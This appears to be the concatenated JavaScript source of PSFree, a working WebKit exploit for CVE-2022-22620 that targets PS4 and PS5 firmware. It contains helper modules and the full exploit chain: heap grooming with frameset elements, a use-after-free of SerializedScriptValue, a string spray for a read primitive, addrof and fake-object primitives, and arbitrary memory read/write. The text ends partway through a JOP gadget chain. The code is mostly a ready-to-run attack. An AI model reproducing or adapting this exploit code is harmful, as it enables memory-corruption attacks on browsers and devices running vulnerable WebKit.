// mostly used to yield to the GC. marking is concurrent but collection isn't
//
// yielding also lets the DOM update. which is useful since we use the DOM for
// logging and we loop when waiting for a collection to occur
export function sleep(ms=0) {
return new Promise(resolve => setTimeout(resolve, ms));
}
export function hex(number) {
return '0x' + number.toString(16);
}
// no "0x" prefix
export function hex_np(number) {
return number.toString(16);
}
// expects a byte array
export function hexdump(view) {
const num_16 = view.length & ~15;
const residue = view.length - num_16;
const max_off_len = hex_np(((view.length + 7) & ~7) - 1).length;
function chr(i) {
if (0x20 <= i && i <= 0x7e) {
return String.fromCodePoint(i);
}
return '.';
}
function to_hex(view, offset, length) {
return (
[...view.slice(offset, offset + length)]
.map(e => hex_np(e).padStart(2, '0'))
.join(' ')
);
}
let bytes = [];
for (let i = 0; i < num_16; i += 16) {
const long1 = to_hex(view, i, 8);
const long2 = to_hex(view, i + 8, 8);
let print = '';
for (let j = 0; j < 16; j++) {
print += chr(view[j]);
}
bytes.push([`${long1} ${long2}`, print]);
}
if (residue) {
const small = residue <= 8;
const long1_len = small ? residue : 8;
let long1 = to_hex(view, num_16, long1_len);
if (small) {
for (let i = 0; i < 8 - residue; i++) {
long1 += ' xx';
}
}
const long2 = (() => {
if (small) {
return Array(8).fill('xx').join(' ');
}
let res = to_hex(view, num_16 + 8, residue - 8);
for (let i = 0; i < 16 - residue; i++) {
res += ' xx';
}
return res;
})();
let print = '';
for (let i = 0; i < residue; i++) {
print += chr(view[num_16 + i]);
}
for (let i = 0; i < 16 - residue; i++) {
print += ' ';
}
bytes.push([`${long1} ${long2}`, print]);
}
for (const [pos, [val, print]] of bytes.entries()) {
const off = hex_np(pos * 16).padStart(max_off_len, '0');
log(`${off} | ${val} |${print}|`);
}
}
// make a JavaScript string
export function jstr(buffer) {
let res = '';
for (const item of buffer) {
if (item === 0) {
break;
}
res += String.fromCodePoint(item);
}
// convert to primitive string
return String(res);
}

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/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { Int, lohi_from_one } from '/module/int64.mjs';
import { Addr } from '/module/mem.mjs';
import { BufferView } from '/module/rw.mjs';
import * as config from '/config.mjs';
import * as mt from '/module/memtools.mjs';
// View constructors will always get the buffer property in order to make sure
// that the JSArrayBufferView is a WastefulTypedArray. m_vector may change if
// m_mode < WastefulTypedArray. This is to make caching the m_view field
// possible. Users don't have to worry if the m_view they got from addr() is
// possibly stale.
//
// see possiblySharedBuffer() from
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
// at PS4 8.03
//
// Subclasses of TypedArray are still implemented as a JSArrayBufferView, so
// get_view_vector() still works on them.
function ViewMixin(superclass) {
const res = class extends superclass {
constructor(...args) {
super(...args);
this.buffer;
}
get addr() {
let res = this._addr_cache;
if (res !== undefined) {
return res;
}
res = mt.get_view_vector(this);
this._addr_cache = res;
return res;
}
get size() {
return this.byteLength;
}
addr_at(index) {
const size = this.BYTES_PER_ELEMENT;
return this.addr.add(index * size);
}
sget(index) {
return this[index] | 0;
}
};
// workaround for known affected versions: ps4 [6.00, 10.00)
//
// see from() and of() from
// WebKit/Source/JavaScriptCore/builtins/TypedArrayConstructor.js at PS4
// 8.0x
//
// @getByIdDirectPrivate(this, "allocateTypedArray") will fail when "this"
// isn't one of the built-in TypedArrays. this is a violation of the
// ECMAScript spec at that time
//
// TODO assumes ps4, support ps5 as well
// FIXME define the from/of workaround functions once
if (0x600 <= config.target && config.target < 0x1000) {
res.from = function from(...args) {
const base = this.__proto__;
return new this(base.from(...args).buffer);
};
res.of = function of(...args) {
const base = this.__proto__;
return new this(base.of(...args).buffer);
};
}
return res;
}
export class View1 extends ViewMixin(Uint8Array) {}
export class View2 extends ViewMixin(Uint16Array) {}
export class View4 extends ViewMixin(Uint32Array) {}
export class Buffer extends BufferView {
get addr() {
let res = this._addr_cache;
if (res !== undefined) {
return res;
}
res = mt.get_view_vector(this);
this._addr_cache = res;
return res;
}
get size() {
return this.byteLength;
}
addr_at(index) {
return this.addr.add(index);
}
}
// see from() and of() comment above
if (0x600 <= config.target && config.target < 0x1000) {
Buffer.from = function from(...args) {
const base = this.__proto__;
return new this(base.from(...args).buffer);
};
Buffer.of = function of(...args) {
const base = this.__proto__;
return new this(base.of(...args).buffer);
};
}
const VariableMixin = superclass => class extends superclass {
constructor(value=0) {
// unlike the View classes, we don't allow number coercion. we
// explicitly allow floats unlike Int
if (typeof value !== 'number') {
throw TypeError('value not a number');
}
super([value]);
}
addr_at(...args) {
throw TypeError('unimplemented method');
}
[Symbol.toPrimitive](hint) {
return this[0];
}
toString(...args) {
return this[0].toString(...args);
}
};
export class Byte extends VariableMixin(View1) {}
export class Short extends VariableMixin(View2) {}
// Int was already taken by int64.mjs
export class Word extends VariableMixin(View4) {}
export class LongArray {
constructor(length) {
this.buffer = new DataView(new ArrayBuffer(length * 8));
}
get addr() {
return mt.get_view_vector(this.buffer);
}
addr_at(index) {
return this.addr.add(index * 8);
}
get length() {
return this.buffer.length / 8;
}
get size() {
return this.buffer.byteLength;
}
get byteLength() {
return this.size;
}
get(index) {
const buffer = this.buffer;
const base = index * 8;
return new Int(
buffer.getUint32(base, true),
buffer.getUint32(base + 4, true),
);
}
set(index, value) {
const buffer = this.buffer;
const base = index * 8;
const values = lohi_from_one(value);
buffer.setUint32(base, values[0], true);
buffer.setUint32(base + 4, values[1], true);
}
}
// mutable Int (we are explicitly using Int's private fields)
const Word64Mixin = superclass => class extends superclass {
constructor(...args) {
if (!args.length) {
return super(0);
}
super(...args);
}
get addr() {
// assume this is safe to cache
return mt.get_view_vector(this._u32);
}
get length() {
return 1;
}
get size() {
return 8;
}
get byteLength() {
return 8;
}
// no setters for top and bot since low/high can accept negative integers
get lo() {
return super.lo;
}
set lo(value) {
this._u32[0] = value;
}
get hi() {
return super.hi;
}
set hi(value) {
this._u32[1] = value;
}
set(value) {
const buffer = this._u32;
const values = lohi_from_one(value);
buffer[0] = values[0];
buffer[1] = values[1];
}
};
export class Long extends Word64Mixin(Int) {
as_addr() {
return new Addr(this);
}
}
export class Pointer extends Word64Mixin(Addr) {}

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write
//
// vulnerable:
// * PS4 [6.00, 10.00)
// * PS5 [1.00, 6.00)
//
// * CelesteBlue from ps4-dev on discord.com
// * Helped in figuring out the size of WebCore::SerializedScriptValue and
// its needed offsets on different firmwares.
// * figured out the range of vulnerable firmwares
// * janisslsm from ps4-dev on discord.com
// * Helped in figuring out the size of JSC::ArrayBufferContents and its
// needed offsets on different firmwares.
// * Kameleon_ from ps4-dev on discord.com - tester
// * SlidyBat from PS5 R&D discord.com
// * Helped in figuring out the size of JSC::ArrayBufferContents and its
// needed offsets on different firmwares (PS5).
import { Int } from '/module/int64.mjs';
import { Memory } from '/module/mem.mjs';
import { KB, MB } from '/module/offset.mjs';
import { BufferView } from '/module/rw.mjs';
import {
die,
DieError,
log,
clear_log,
sleep,
hex,
align,
} from '/module/utils.mjs';
import * as config from '/config.mjs';
import * as off from '/module/offset.mjs';
// check if we are running on a supported firmware version
const [is_ps4, version] = (() => {
const value = config.target;
const is_ps4 = (value & 0x10000) === 0;
const version = value & 0xffff;
const [lower, upper] = (() => {
if (is_ps4) {
return [0x600, 0x1000];
} else {
return [0x100, 0x600];
}
})();
if (!(lower <= version && version < upper)) {
throw RangeError(`invalid config.target: ${hex(value)}`);
}
return [is_ps4, version];
})();
const ssv_len = (() => {
if (0x600 <= config.target && config.target < 0x650) {
return 0x58;
}
// PS4 9.xx and all supported PS5 versions
if (config.target >= 0x900) {
return 0x50;
}
if (0x650 <= config.target && config.target < 0x900) {
return 0x48;
}
})();
// these constants are expected to be divisible by 2
const num_fsets = 0x180;
const num_spaces = 0x40;
const num_adjs = 8;
const num_reuses = 0x300;
const num_strs = 0x200;
const num_leaks = 0x100;
// we can use the rows attribute of a frameset to allocate from fastMalloc
//
// see parseAttribute() from
// WebKit/Source/WebCore/html/HTMLFrameSetElement.cpp at PS4 8.0x
//
// parseAttribute() will call newLengthArray():
//
// UniqueArray<Length> newLengthArray(const String& string, int& len)
// {
// RefPtr<StringImpl> str = string.impl()->simplifyWhiteSpace();
// ...
// len = countCharacter(*str, ',') + 1; [1]
// auto r = makeUniqueArray<Length>(len); [2]
// ...
// }
//
// pseudocode definition:
//
// class UniqueArray<Length>:
// size_t _size; [3]
// Length _data[];
//
// [2] allocates from the fastMalloc heap. [1] will add an additional 1 to len.
// [3] adds an extra 8 bytes to the array
//
// a Length is 8 bytes in size. if we want to allocate ssv_len bytes from
// fastMalloc, then we need:
//
// const num_repeats = ssv_len / 8 - 2;
// const rows = ','.repeat(num_repeats);
const rows = ','.repeat(ssv_len / 8 - 2);
const original_strlen = ssv_len - off.size_strimpl;
const original_loc = location.pathname;
function gc() {
new Uint8Array(4 * MB);
}
function sread64(str, offset) {
const low = (
str.charCodeAt(offset)
| str.charCodeAt(offset + 1) << 8
| str.charCodeAt(offset + 2) << 16
| str.charCodeAt(offset + 3) << 24
);
const high = (
str.charCodeAt(offset + 4)
| str.charCodeAt(offset + 5) << 8
| str.charCodeAt(offset + 6) << 16
| str.charCodeAt(offset + 7) << 24
);
return new Int(low, high);
}
function prepare_uaf() {
const fsets = [];
const indices = [];
function alloc_fs(fsets, size) {
for (let i = 0; i < size / 2; i++) {
const fset = document.createElement('frameset');
fset.rows = rows;
fset.cols = rows;
fsets.push(fset);
}
}
// the first call to either replaceState/pushState is likely to allocate a
// JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents
// the SmallLine where the SSV resides from being freed. so we do a dummy
// call first
history.replaceState('state0', '');
alloc_fs(fsets, num_fsets);
// the "state1" SSVs is what we will UAF
history.pushState('state1', '', original_loc + '#bar');
indices.push(fsets.length);
alloc_fs(fsets, num_spaces);
history.pushState('state1', '', original_loc + '#foo');
indices.push(fsets.length);
alloc_fs(fsets, num_spaces);
history.pushState('state2', '');
return [fsets, indices];
}
// WebCore::SerializedScriptValue use-after-free
//
// be careful when accessing history.state since History::state() will get
// called. History will cache the SSV at its m_lastStateObjectRequested if you
// do. that field is a RefPtr, thus preventing a UAF if we cache "state1"
async function uaf_ssv(fsets, index, index2) {
const views = [];
const input = document.createElement('input');
input.id = 'input';
const foo = document.createElement('input');
foo.id = 'foo';
const bar = document.createElement('a');
bar.id = 'bar';
log(`ssv_len: ${hex(ssv_len)}`);
let pop = null;
let pop2 = null;
let pop_promise2 = null;
let blurs = [0, 0];
let resolves = [];
function onpopstate(event) {
const no_pop = pop === null;
const idx = no_pop ? 0 : 1;
log(`pop ${idx} came`);
if (blurs[idx] === 0) {
const r = resolves[idx][1];
r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`));
}
if (no_pop) {
pop_promise2 = new Promise((resolve, reject) => {
resolves.push([resolve, reject]);
addEventListener('popstate', onpopstate, {once: true});
history.back();
});
}
if (no_pop) {
pop = event;
} else {
pop2 = event;
}
resolves[idx][0]();
}
const pop_promise = new Promise((resolve, reject) => {
resolves.push([resolve, reject]);
addEventListener('popstate', onpopstate, {once: true});
});
function onblur(event) {
const target = event.target;
const is_input = target === input;
const idx = is_input ? 0 : 1;
log(`${target.id} blur came`);
if (blurs[idx] > 0) {
die(`${name}: multiple blurs. blurs: ${blurs[idx]}`);
}
// we replace the URL with the original so the user can rerun the
// exploit via a reload. If we don't, the exploit will append another
// "#foo" to the URL and the input element will not be blurred because
// the foo element won't be scrolled to during history.back()
history.replaceState('state3', '', original_loc);
// free the SerializedScriptValue's neighbors and thus free the
// SmallLine where it resides
const fset_idx = is_input ? index : index2;
for (let i = fset_idx - num_adjs/2; i < fset_idx + num_adjs/2; i++) {
fsets[i].rows = '';
fsets[i].cols = '';
}
for (let i = 0; i < num_reuses; i++) {
const view = new Uint8Array(new ArrayBuffer(ssv_len));
view[0] = 0x41;
views.push(view);
}
blurs[idx]++;
}
input.addEventListener('blur', onblur);
foo.addEventListener('blur', onblur);
document.body.append(input);
document.body.append(foo);
document.body.append(bar);
// FrameLoader::loadInSameDocument() calls Document::statePopped().
// statePopped() will defer firing of popstate until we're in the complete
// state
//
// this means that onblur() will run with "state2" as the current history
// item if we call loadInSameDocument too early
log(`readyState now: ${document.readyState}`);
if (document.readyState !== 'complete') {
await new Promise(resolve => {
document.addEventListener('readystatechange', function foo() {
if (document.readyState === 'complete') {
document.removeEventListener('readystatechange', foo);
resolve();
}
});
});
}
log(`readyState now: ${document.readyState}`);
await new Promise(resolve => {
input.addEventListener('focus', resolve, {once: true});
input.focus();
});
history.back();
await pop_promise;
await pop_promise2;
log('done await popstate');
input.remove();
foo.remove();
bar.remove();
const res = [];
for (let i = 0; i < views.length; i++) {
const view = views[i];
if (view[0] !== 0x41) {
log(`view index: ${hex(i)}`);
log('found view:');
log(view);
// set SSV's refcount to 1, all other fields to 0/NULL
view[0] = 1;
view.fill(0, 1);
if (res.length) {
res[1] = [new BufferView(view.buffer), pop2];
break;
}
// return without keeping any references to pop, making it GC-able.
// its WebCore::PopStateEvent will then be freed on its death
res[0] = new BufferView(view.buffer);
i = num_reuses - 1;
}
}
if (res.length !== 2) {
die('failed SerializedScriptValue UAF');
}
return res;
}
class Reader {
constructor(rstr, rstr_view) {
this.rstr = rstr;
this.rstr_view = rstr_view;
this.m_data = rstr_view.read64(off.strimpl_m_data);
}
read8_at(offset) {
return this.rstr.charCodeAt(offset);
}
read32_at(offset) {
const str = this.rstr;
return (
str.charCodeAt(offset)
| str.charCodeAt(offset + 1) << 8
| str.charCodeAt(offset + 2) << 16
| str.charCodeAt(offset + 3) << 24
) >>> 0;
}
read64_at(offset) {
return sread64(this.rstr, offset);
}
read64(addr) {
this.rstr_view.write64(off.strimpl_m_data, addr);
return sread64(this.rstr, 0);
}
set_addr(addr) {
this.rstr_view.write64(off.strimpl_m_data, addr);
}
// remember to use this to fix up the StringImpl before freeing it
restore() {
this.rstr_view.write64(off.strimpl_m_data, this.m_data);
this.rstr_view.write32(off.strimpl_strlen, original_strlen);
}
}
// we now have a double free on the fastMalloc heap
async function make_rdr(view) {
let str_wait = 0;
const strs = [];
const u32 = new Uint32Array(1);
const u8 = new Uint8Array(u32.buffer);
const marker_offset = original_strlen - 4;
const pad = 'B'.repeat(marker_offset);
log('start string spray');
while (true) {
for (let i = 0; i < num_strs; i++) {
u32[0] = i;
// on versions like 8.0x:
// * String.fromCharCode() won't create a 8-bit string. so we use
// fromCodePoint() instead
// * Array.prototype.join() won't try to convert 16-bit strings to
// 8-bit
//
// given the restrictions above, we will ensure "str" is always a
// 8-bit string. you can check a WebKit source code (e.g. on 8.0x)
// to see that String.prototype.repeat() will create a 8-bit string
// if the repeated string's length is 1
//
// Array.prototype.join() calls JSC::JSStringJoiner::join(). it
// returns a plain JSString (not a JSRopeString). that means we
// have allocated a WTF::StringImpl with the proper size and whose
// string data is inlined
const str = [pad, String.fromCodePoint(...u8)].join('');
strs.push(str);
}
if (view.read32(off.strimpl_inline_str) === 0x42424242) {
view.write32(off.strimpl_strlen, 0xffffffff);
break;
}
strs.length = 0;
gc();
await sleep();
str_wait++;
}
log(`JSString reused memory at loop: ${str_wait}`);
const idx = view.read32(off.strimpl_inline_str + marker_offset);
log(`str index: ${hex(idx)}`);
log('view:');
log(view);
// versions like 8.0x have a JSC::JSString that have their own m_length
// field. strings consult that field instead of the m_length of their
// StringImpl
//
// we work around this by passing the string to Error.
// ErrorInstance::create() will then create a new JSString initialized from
// the StringImpl of the message argument
const rstr = Error(strs[idx]).message;
log(`str len: ${hex(rstr.length)}`);
if (rstr.length === 0xffffffff) {
log('confirmed correct leaked');
const addr = (
view.read64(off.strimpl_m_data)
.sub(off.strimpl_inline_str)
);
log(`view's buffer address: ${addr}`);
return new Reader(rstr, view);
}
die("JSString wasn't modified");
}
// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array
// of JSValues whose size is ssv_len. the undefined constant is automatically
// added due to reasons such as "undefined is returned by default if the
// function exits without returning anything"
const cons_len = ssv_len - 8*5;
const bt_offset = 0;
const idx_offset = ssv_len - 8*3;
const strs_offset = ssv_len - 8*2;
const src_part = (() => {
// we user var instead of let/const since such variables always get
// initialized to the NULL JSValue even if you immediately return. we will
// make functions that do as little as possible in order to speed up the
// exploit. m_constantRegisters will still contain the unused constants
//
// function foo() {
// return;
// let a = 1;
// }
//
// the resulting bytecode:
// bb#1
// [ 0] enter
// [ 1] get_scope loc4
// [ 3] mov loc5, loc4
// [ 6] check_traps
// // this part still initializes a with the NULL JSValue
// [ 7] mov loc6, <JSValue()>(const0)
// [ 10] ret Undefined(const1)
// Successors: [ ]
//
// bb#2
// [ 12] mov loc6, Int32: 1(const2)
// [ 15] ret Undefined(const1)
// Successors: [ ]
//
//
// Constants:
// k0 = <JSValue()>
// k1 = Undefined
// k2 = Int32: 1: in source as integer
let res = 'var f = 0x11223344;\n';
// make unique constants that won't collide with the possible marker values
for (let i = 0; i < cons_len; i += 8) {
res += `var a${i} = ${num_leaks + i};\n`;
}
return res;
})();
async function leak_code_block(reader, bt_size) {
const rdr = reader;
const bt = [];
// take into account the cell and indexing header of the immutable
// butterfly
for (let i = 0; i < bt_size - 0x10; i += 8) {
bt.push(i);
}
// cache the global variable resolution
const slen = ssv_len;
const bt_part = `var bt = [${bt}];\nreturn bt;\n`;
const part = bt_part + src_part;
const cache = [];
for (let i = 0; i < num_leaks; i++) {
cache.push(part + `var idx = ${i};\nidx\`foo\`;`);
}
const chunkSize = (is_ps4 && version < 0x900) ? 128 * KB : 1 * MB;
const smallPageSize = 4 * KB;
const search_addr = align(rdr.m_data, chunkSize);
log(`search addr: ${search_addr}`);
log(`func_src:\n${cache[0]}\nfunc_src end`);
log('start find CodeBlock');
let winning_off = null;
let winning_idx = null;
let winning_f = null;
let find_cb_loop = 0;
// false positives
let fp = 0;
rdr.set_addr(search_addr);
loop: while (true) {
const funcs = [];
for (let i = 0; i < num_leaks; i++) {
const f = Function(cache[i]);
// the first call allocates the CodeBlock
f();
funcs.push(f);
}
for (let p = 0; p < chunkSize; p += smallPageSize) {
for (let i = p; i < p + smallPageSize; i += slen) {
if (rdr.read32_at(i + 8) !== 0x11223344) {
continue;
}
rdr.set_addr(rdr.read64_at(i + strs_offset));
const m_type = rdr.read8_at(5);
// make sure we're not reading the constant registers of an
// UnlinkedCodeBlock. those have JSTemplateObjectDescriptors.
// CodeBlock converts those to JSArrays
if (m_type !== 0) {
rdr.set_addr(search_addr);
winning_off = i;
winning_idx = rdr.read32_at(i + idx_offset);
winning_f = funcs[winning_idx];
break loop;
}
rdr.set_addr(search_addr);
fp++;
}
}
find_cb_loop++;
gc();
await sleep();
}
log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`);
log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`);
log('CodeBlock.m_constantRegisters.m_buffer:');
rdr.set_addr(search_addr.add(winning_off));
for (let i = 0; i < slen; i += 8) {
log(`${rdr.read64_at(i)} | ${hex(i)}`);
}
const bt_addr = rdr.read64_at(bt_offset);
const strs_addr = rdr.read64_at(strs_offset);
log(`immutable butterfly addr: ${bt_addr}`);
log(`string array passed to tag addr: ${strs_addr}`);
log('JSImmutableButterfly:');
rdr.set_addr(bt_addr);
for (let i = 0; i < bt_size; i += 8) {
log(`${rdr.read64_at(i)} | ${hex(i)}`);
}
log('string array:');
rdr.set_addr(strs_addr);
for (let i = 0; i < off.size_jsobj; i += 8) {
log(`${rdr.read64_at(i)} | ${hex(i)}`);
}
return [winning_f, bt_addr, strs_addr];
}
// data to write to the SerializedScriptValue
//
// setup to make deserialization create an ArrayBuffer with an arbitrary buffer
// address
function make_ssv_data(ssv_buf, view, view_p, addr, size) {
// sizeof JSC::ArrayBufferContents
const size_abc = (() => {
if (is_ps4) {
return version >= 0x900 ? 0x18 : 0x20;
} else {
return version >= 0x300 ? 0x18 : 0x20;
}
})();
const data_len = 9;
// sizeof WTF::Vector<T>
const size_vector = 0x10;
// SSV offsets
const off_m_data = 8;
const off_m_abc = 0x18;
// view offsets
const voff_vec_abc = 0; // Vector<ArrayBufferContents>
const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents
const voff_data = voff_abc + size_abc;
// WTF::Vector<unsigned char>
// write m_data
// m_buffer
ssv_buf.write64(off_m_data, view_p.add(voff_data));
// m_capacity
ssv_buf.write32(off_m_data + 8, data_len);
// m_size
ssv_buf.write64(off_m_data + 0xc, data_len);
// 6 is the serialization format version number for ps4 6.00. The format
// is backwards compatible and using a value less than the current version
// number used by a specific WebKit version is considered valid.
//
// See CloneDeserializer::isValid() from
// WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x.
const CurrentVersion = 6;
const ArrayBufferTransferTag = 23;
view.write32(voff_data, CurrentVersion);
view[voff_data + 4] = ArrayBufferTransferTag;
view.write32(voff_data + 5, 0);
// std::unique_ptr<WTF::Vector<JSC::ArrayBufferContents>>
// write m_arrayBufferContentsArray
ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc));
// write WTF::Vector<JSC::ArrayBufferContents>
view.write64(voff_vec_abc, view_p.add(voff_abc));
view.write32(voff_vec_abc + 8, 1);
view.write32(voff_vec_abc + 0xc, 1);
if (size_abc === 0x20) {
// m_destructor, offset 0, leave as 0
// m_shared, offset 8, leave as 0
// m_data
view.write64(voff_abc + 0x10, addr);
// m_sizeInBytes
view.write32(voff_abc + 0x18, size);
} else {
// m_data
view.write64(voff_abc + 0, addr);
// m_destructor (48 bits), offset 8, leave as 0
// m_shared (48 bits), offset 0xe, leave as 0
// m_sizeInBytes
view.write32(voff_abc + 0x14, size);
}
}
async function make_arw(reader, view2, pop) {
const rdr = reader;
// we have to align the fake object to atomSize (16) else the process
// crashes. we don't know why
//
// since cells (GC memory chunks) are always aligned to atomSize, there
// might be code that's assuming that all GC pointers are aligned
//
// see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at
// PS4 8.0x
const fakeobj_off = 0x20;
const fakebt_base = fakeobj_off + off.size_jsobj;
// sizeof JSC::IndexingHeader
const indexingHeader_size = 8;
// sizeof JSC::ArrayStorage
const arrayStorage_size = 0x18;
// there's only the .raw property
const propertyStorage = 8;
const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage;
log('STAGE: leak CodeBlock');
// has too be greater than 0x10. the size of JSImmutableButterfly
const bt_size = 0x10 + fakebt_off + arrayStorage_size;
const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size);
const view = rdr.rstr_view;
const view_p = rdr.m_data.sub(off.strimpl_inline_str);
const view_save = new Uint8Array(view);
view.fill(0);
make_ssv_data(view2, view, view_p, bt_addr, bt_size);
const bt = new BufferView(pop.state);
view.set(view_save);
log('ArrayBuffer pointing to JSImmutableButterfly:');
for (let i = 0; i < bt.byteLength; i += 8) {
log(`${bt.read64(i)} | ${hex(i)}`);
}
// the immutable butterfly's indexing type is ArrayWithInt32 so
// JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots
// for JSObjects to recursively visit. this means that we can write
// anything to the the butterfly's data area without fear of a GC crash
const val_true = 7; // JSValue of "true"
const strs_cell = rdr.read64(strs_addr);
bt.write64(fakeobj_off, strs_cell);
bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off));
// since .raw is the first ever created property, it's just besides the
// indexing header
bt.write64(fakebt_off - 0x10, val_true);
// indexing header's publicLength and vectorLength
bt.write32(fakebt_off - 8, 1);
bt.write32(fakebt_off - 8 + 4, 1);
// custom ArrayStorage that allows read/write to index 0. we have to use an
// ArrayStorage because the structure assigned to the structure ID expects
// one so visitButterfly() will crash if we try to fake the object with a
// regular butterfly
// m_sparseMap
bt.write64(fakebt_off, 0);
// m_indexBias
bt.write32(fakebt_off + 8, 0);
// m_numValuesInVector
bt.write32(fakebt_off + 0xc, 1);
// m_vector[0]
bt.write64(fakebt_off + 0x10, val_true);
// immutable_butterfly[0] = fakeobj;
bt.write64(0x10, bt_addr.add(fakeobj_off));
const fake = func()[0];
log(`fake.raw: ${fake.raw}`);
log(`fake[0]: ${fake[0]}`);
log(`fake: [${fake}]`);
const test_val = 3;
log(`test setting fake[0] to ${test_val}`);
fake[0] = test_val;
if (fake[0] !== test_val) {
die(`unexpected fake[0]: ${fake[0]}`);
}
function addrof(obj) {
fake[0] = obj;
return bt.read64(fakebt_off + 0x10);
}
// m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap,
// unlike FastTypedArray, where the buffer is managed by the GC. This
// prevents random crashes.
//
// See JSGenericTypedArrayView<Adaptor>::visitChildren() from
// WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at
// PS4 8.0x.
const worker = new DataView(new ArrayBuffer(1));
const main_template = new Uint32Array(new ArrayBuffer(off.size_view));
const leaker = {addr: null, 0: 0};
const worker_p = addrof(worker);
const main_p = addrof(main_template);
const leaker_p = addrof(leaker);
// we'll fake objects using a JSArrayBufferView whose m_mode is
// FastTypedArray. it's safe to use its buffer since it's GC-allocated. the
// current fastSizeLimit is 1000. if the length is less than or equal to
// that, we get a FastTypedArray
const scaled_sview = off.size_view / 4;
const faker = new Uint32Array(scaled_sview);
const faker_p = addrof(faker);
const faker_vector = rdr.read64(faker_p.add(off.view_m_vector));
const vector_idx = off.view_m_vector / 4;
const length_idx = off.view_m_length / 4;
const mode_idx = off.view_m_mode / 4;
const bt_idx = off.js_butterfly / 4;
// fake a Uint32Array using GC memory
faker[vector_idx] = worker_p.lo;
faker[vector_idx + 1] = worker_p.hi;
faker[length_idx] = scaled_sview;
rdr.set_addr(main_p);
faker[mode_idx] = rdr.read32_at(off.view_m_mode);
// JSCell
faker[0] = rdr.read32_at(0);
faker[1] = rdr.read32_at(4);
faker[bt_idx] = rdr.read32_at(off.js_butterfly);
faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4);
// fakeobj()
bt.write64(fakebt_off + 0x10, faker_vector);
const main = fake[0];
log('main (pointing to worker):');
for (let i = 0; i < off.size_view; i += 8) {
const idx = i / 4;
log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`);
}
new Memory(
main, worker, leaker,
leaker_p.add(off.js_inline_prop),
rdr.read64(leaker_p.add(off.js_butterfly)),
);
log('achieved arbitrary r/w');
rdr.restore();
// set the refcount to a high value so we don't free the memory, view's
// death will already free it (a StringImpl is currently using the memory)
view.write32(0, -1);
// ditto (a SerializedScriptValue is currently using the memory)
view2.write32(0, -1);
// we don't want its death to call fastFree() on GC memory
make_arw._buffer = bt.buffer;
}
async function main() {
log('STAGE: UAF SSV');
const [fsets, indices] = prepare_uaf();
const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]);
log('STAGE: get string relative read primitive');
const rdr = await make_rdr(view);
for (const fset of fsets) {
fset.rows = '';
fset.cols = '';
}
log('STAGE: achieve arbitrary read/write primitive');
await make_arw(rdr, view2, pop);
clear_log();
// path to your script that will use the exploit
import('./code.mjs');
}
main();

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
import { mem } from '/module/mem.mjs';
import { KB } from '/module/offset.mjs';
import { ChainBase, get_gadget } from '/module/chain.mjs';
import { BufferView } from '/module/rw.mjs';
import {
get_view_vector,
resolve_import,
init_syscall_array,
} from '/module/memtools.mjs';
import * as off from '/module/offset.mjs';
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x8d8;
const offset_wk_strlen = 0x918;
// libSceNKWebKit.sprx
export let libwebkit_base = null;
// libkernel_web.sprx
export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;
// gadgets for the JOP chain
//
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
// type is PutPropertySlot::PutValueFunc
const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
const jop3 = `
mov rdx, qword ptr [rdx + 0x50]
mov ecx, 0xa
call qword ptr [rax + 0x40]
`;
const jop4 = `
push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
